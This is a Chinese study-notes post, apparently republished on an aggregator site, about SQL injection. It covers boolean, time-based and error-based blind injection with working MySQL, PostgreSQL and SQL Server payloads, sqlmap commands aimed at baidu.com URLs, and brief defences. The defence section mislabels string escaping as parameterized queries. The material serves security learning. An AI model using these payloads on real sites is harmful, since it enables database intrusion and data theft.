sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

第   21   

SQL注入的利用与防御

课程入口(付费)

275444c4fa4e95d61d2bf9fe2c4f69ce.png

个人背景

李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中。

SQL注入的利用与防御

01 SQL盲注

1.1 SQL盲注概念

无法通过SQL注入在页面返回内容中找到所需要的数据或者用作注入成功判断的内容,都可以称作SQL盲注;这里包含说即使页面报错,但是很可能是通用的错误信息,不能用于注入判断的情况。

6978c25013df276d7c63035042e42831.png       

1.2 SQL盲注分类

按照网上的分类,有三种:布尔型、时间型、错误型。

3878dbeafd527330401bf990c2316fc9.png       

1.3 布尔型

  • left() 函数

left(database(),1)>'s'            

解析:database()显示数据库名称,left(a,b)从左侧截取a的前b位

  • substr()函数,ascii()函数

ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101 --+

解析:substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值

ascii(substr((select database()),1,1))=98
  • ORD()函数,MID()函数

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM
security.users ORDER BY id LIMIT 0,1),1,1))>98%23            

解析:MID(a,b,c)从位置b开始,截取a字符串的c位ORD()函数同ascii(),将字符转为ascii值

  • regexp正则注入

正则注入介绍:

http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:select user() regexp '^[a-z]';

解析:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

第二位可以用select user() regexp '^ro'来进行   

31e74f1fa301b74e5d145d21e0aca728.png

当正确的时候显示结果为1,不正确的时候显示结果为0

  • like匹配注入

和上述的正则类似,mysql在匹配的时候我们可以用ike进行匹配。

用法:select user() like 'ro%'

1.4 时间型

  • sleep()函数

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  

if判断语句,条件为假,执行sleep,延时5秒

  • BENCHMARK(count,expr) 函数

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
FROM (select database() as current) as tb1;

BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。

这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()函数进行注入。

Mysql

BENCHMARK(100000,MD5(1))  or sleep(5)

Postgresql

PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)

Mssql server

WAITFOR DELAY '0:0:5'

1.5 错误型

select exp(~(select * FROM(SELECT USER())a))        //double数值类型超出范围,Exp()为以e为底的对数函数;版本在5.5.5及其以上

可以参考exp报错文章:

http://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) -(ps:这是减号) ~0   //bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上

可以参考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重复特性,此处重复了version,所以报错。

具体盲注介绍请参考:

https://www.cnblogs.com/lcamry/p/5763129.html

02 SQL MAP简单实用

GET请求

sqlmap.py -u “http://baidu.com/cmd?id=1”

POST请求

sqlmap.py -u 'http://www.baidu.com ' --data 'id=1&search=2'

具体SQLMap请参考:

https://www.cnblogs.com/ichunqiu/p/5805108.html

https://www.fujieace.com/hacker/sqlmap-12.html

03 SQL注入防御
  • 在代码层面,可以使用参数化语句或者强制数据类型,强制类型比较好理解,就是比如某个参数的值能确定是int,在构建SQL语句前先强制int转换类型,而参数化的话比如PHP中的参数化可以这样写:

$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($con,$id));

$result=mysqli_query($con,$query);

  • 使用黑白名单进行输入验证,对用户提交内容进行验证,比如针对特殊关键词,比如union可以列入黑名单,一旦发现则认定为攻击请求,直接屏蔽。有一些语言有自带这样的验证用的安全方法可以直接调用,或者用一些外部的安全框架和API也是可以的,比如之前的章节内容提到的OWASP的ESAPI。

  • 可以使用WAF产品,不过其实这个方法对Web漏洞是通用。

0

下期更新笔记内容:

常见WEB漏洞:文件上传 第一节 

100f6c8ec07ecc2712677a3cdd4dfccb.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/502794.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

管理linux的快捷键,Linux快捷键及系统管理命令(1)

快捷键:ctrlU:快速删除光标前所有字符内容。ctrlK:快速删除从当前光标到行尾的所有字符内容。ctrlL:快速清空当前屏幕中显示的内容,只在左上角显示命令提示符。ctrlC:取消当前命令行的编辑,并切…

docker -v 覆盖了容器中的文件_浅谈docker中宿主机和容器之间互相copy文件的两种方式,欢迎补充...

在dokcer的日常使用过程中,我们可能会遇到将宿主机内文件/目录copy到容器内,或者将容器的文件/目录copy到宿主机中,下面我们就来简单的谈一下关于这种情况的两种操作。1、Docker cp命令:用于容器与主机之间的数据copy语法&#xf…

线性代数第九版pdf英文_斯坦福CS229机器学习课程的数学基础(线性代数)翻译完成...

文章转载自公众号 机器学习初学者 , 作者 机器学习初学者Stanford cs229 manchine learning课程,相比于Coursera中的机器学习有更多的数学要求和公式的推导,课程全英文,基础材料部分还没有翻译。这个基础材料主要分为线性代数和概…

用python读取股票价格_Python读取文件并给出股票价格

我使用的是ystockquote,可以找到here。基本上,我有一个包含我所有股票符号的文件,然后我用python将其笔下并显示每只股票的价格。以下是我目前为止的代码:import ystockquote def intro(): # Here you enter the name of your fil…

ppc linux 性能,用profile和oprofile监视视linux性能!

profile使用:profile功能是架构无关的,可以用来监视linux内核的4项功能,即:11 #define CPU_PROFILING 112 #define SCHED_PROFILING 213 #define SLEEP_PROFILING 314 #define KVM_PROFILING 4要想找开profile功能&#xff0c…

bisect git 使用_Git使用过程中的一些常见场景问题总结

之前在公司内部推Git,写了一份git使用教程,后来又在团队内部做了一次分享,内容是关于Git使用过程中经常会遇到的一些场景,并有了这份总结。git基础基于feature的工作流添加忽略文件 .gitignore (http://gitignore.io/)基于develop…

c 多文件全局变量_C语言开发单片机为什么大多数都采用全局变量的形式?

点击上方蓝字关注我哦~01前言全局变量简直就是嵌入式系统的戈兰高地。冲突最激烈的双方是1. 做控制的工程师 2. 做非嵌入式的软件工程师。02做控制的工程师特点他们普遍的理解就是“变量都写成全局该有多方便”。我之前面试过一个非常有名的做控制实验室里出来的PhD…

linux耳机插拔检测,Android应用开发之耳机插拔处理两种方式

本文将带你了解Android应用开发[RK3288][Android6.0] 耳机插拔处理两种方式,希望本文对大家学Android有所帮助。[RK3288][Android6.0] 耳机插拔处理两种方式。Platform: RockchipOS: Android 6.0Kernel: 3.10.92系统对耳机插拔处理的方式有两种,一种…

医学图像处理_专刊征稿|医学图像处理中的认知计算

认知科学是20世纪世界科学标志性的新兴研究门类,它作为探究人脑或心智工作机制的前沿性尖端学科,已经引起了全世界科学家们的广泛关注。认知计算代表一种全新的计算模式,它包含信息分析,自然语言处理和机器学习领域的大量技术创新…

python 如何判断一个函数执行完成_Python 函数为什么会默认返回 None?

👆 “Python猫” ,一个值得加星标的公众号Python 有一项默认的做法,很多编程语言都没有——它的所有函数都会有一个返回值,不管你有没有写 return 语句。 本文出自“Python为什么”系列,在正式开始之前,我们…

中美线径对照表_中国线径与英美德线规对照表

德DIN*线径(mm)实际截面(mm2)标准截面(mm2)线号线径(mm)线号线径(mm)线径(mm)7/012.712.56/011.7854/011.68411.298.52001005/010.9733/010.40411.21078.5400804/010.1610963.6200633/09.4492/09.26692/08.839850.27005008.2308.253817.627.139.59004027.0117.3487.16.331.1700…

不在 sudoers 文件中。此事将被报告_快餐包装中检出致癌物质?麦当劳、汉堡王回应!...

薯条汉堡、雪碧可乐已然成为大家的用餐首选之一一周吃了两次以上的人相信也不在少数可最近一则“麦当劳、汉堡王等快餐包装中检出致癌物质”的消息却让许多人吓出了一身冷汗而且迅速登上热搜榜…近日,环保组织的一份报告称,美国当地麦当劳McDonald’s、汉…

lichee linux nfs,SPI Flash 系统编译

在一些低成本应用场景,需要在SPI flash上启动系统,这需要对Uboot和系统镜像做些适配。本文介绍SPI Flash镜像的制作过程。这里 使用 MX25L25645G, 32M SPI flash 作为启动介质,规划分区如下:分区序号分区大小分区作用地址空间及分…

tensorflow越跑越慢_tensorflow如何解决越运行越慢的问题

这几天写tensorflow的时候发现随着迭代的次数越来越多,tensorflow跑的速度越来越慢。查找才发现是tensorflow不断的给之前的图里加节点,导致占用的内存越来越大,然后我尝试了网上的各种方法,终于发现了一个靠谱的方法,…

propertysource注解_Java开发必须掌握的 20+ 种 Spring 常用注解

作者:IT_faquir链接:https://blog.csdn.net/IT_faquir注解本身没有功能的,就和xml一样。注解和xml都是一种元数据,元数据即解释数据的数据,这就是所谓配置。本文主要罗列Spring|SpringMVC相关注解的简介。Spring部分1.…

linux协议栈劫持,Linux系统优化之TCP协议栈优化-基本篇1

因为在做爬虫分布式系统的过程中,涉及到了一些linux系统优化方面的知识,所以来总结一下,我们会对linux的不同模块做相关的基本优化,这篇文章主要讲述的是关于tcp协议栈的参数优化。1.机器环境Linux EOS01 2.6.32-358.el6.x86_64 #…

datapumpdir oracle_oracle_datapump创建外部表案例

一、datapump创建外部表,数据来源于内部实体表 --首先创建 scott.countries实体表,用于做实验 SQLgt; create table scott.cou一、datapump创建外部表,数据来源于内部实体表--首先创建 scott.countries实体表,用于做实验SQL> c…

linux 百度地图离线sdk,Android开放百度地图集成

1、创建应用 获取AK (我理解为Application key)通过百度账号登录百度地图开放平台,进入API控制台 http://lbsyun.baidu.com/apiconsole/key 创建自己的应用,输入应用名称 ,选择Android SDK 应用类型,选择需要的服务(默认全选) 输入…

activiti7流程设计器_基于容器和微服务应用的架构:容器设计原则

微服务提供了巨大的好处,但也带来了巨大的新挑战。在创建基于微服务的应用程序时,微服务体系结构模式是最基本的支柱。在本指南的前面,您学习了关于容器和Docker的基本概念。这是开始使用容器所需的最低信息。尽管,即使容器是微服…

opencv 图像 抠图 算法_图像抠图算法学习 - Shared Sampling for Real-Time Alpha Matting

一、序言陆陆续续的如果累计起来,我估计至少有二十来位左右的朋友加我QQ,向我咨询有关抠图方面的算法,可惜的是,我对这方面之前一直是没有研究过的。除了利用和Photoshop中的魔棒一样的技术或者Photoshop中的选区菜单中的色彩范围…